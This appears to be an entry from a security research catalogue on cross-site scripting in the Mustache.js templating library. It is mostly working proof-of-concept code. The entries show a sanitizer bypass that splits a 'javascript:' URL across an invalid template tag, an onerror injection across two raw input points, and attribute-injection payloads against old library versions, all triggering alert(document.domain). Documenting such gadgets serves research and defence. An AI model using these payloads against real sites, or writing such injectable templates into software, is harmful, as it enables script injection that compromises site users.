Minimal templating with {{mustaches}} in JavaScript
In the case of sanitized input, it may be possible to exploit the null replacement behavior in Mustache.js templates to bypass the sanitizer when an invalid template is used.
<!-- user input -->
<div id="template"><a href="java{{a" x="}}script:alert(document.domain)">Click Me</a></div>
<script src="https://unpkg.com/mustache@latest"></script>
<script>
const template = document.getElementById("template").innerHTML;
const rendered = Mustache.render(template, { name: "<h1>hello</h1>" });
document.getElementById("template").innerHTML = rendered;
</script>
The same behavior can be abused in case of 2 raw injection points.
<div id="template">
<img src="https://gmsgadget.com/<!-- user input 1 -->{{">
<div>Random Text</div>
<!-- user input 2 -->}}" onerror="alert(document.domain)">
<div>Random Text</div>
</div>
<script src="https://unpkg.com/mustache@latest"></script>
<script>
const template = document.getElementById("template").innerHTML;
const rendered = Mustache.render(template, { name: "<h1>hello</h1>" });
document.getElementById("template").innerHTML = rendered;
</script>
The Mustache.js library did not prevent unquoted templated attribute values from adding arbitrary new attributes containing spaces.
<div id="template"></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mustache.js/2.2.0/mustache.min.js"></script>
<script>
const rendered = Mustache.render(`<img src={{userinput}}>`, { userinput: "a onerror=alert(document.domain)" });
document.getElementById("template").innerHTML = rendered;
</script>
Related links:
Found by vikstrous.
The Mustache.js library wasn’t properly handling replacements in attributes, allowing them to be escaped with a user-controlled value.
<script src="https://cdnjs.cloudflare.com/ajax/libs/mustache.js/0.3.0/mustache.min.js"></script>
<script>
document.write(Mustache.to_html(
`<input value="{{val}}" />`, {
// user input
val: `maybe" onclick="alert(document.domain);" nothing="`
}));
</script>
Related links:
Found by vikstrous.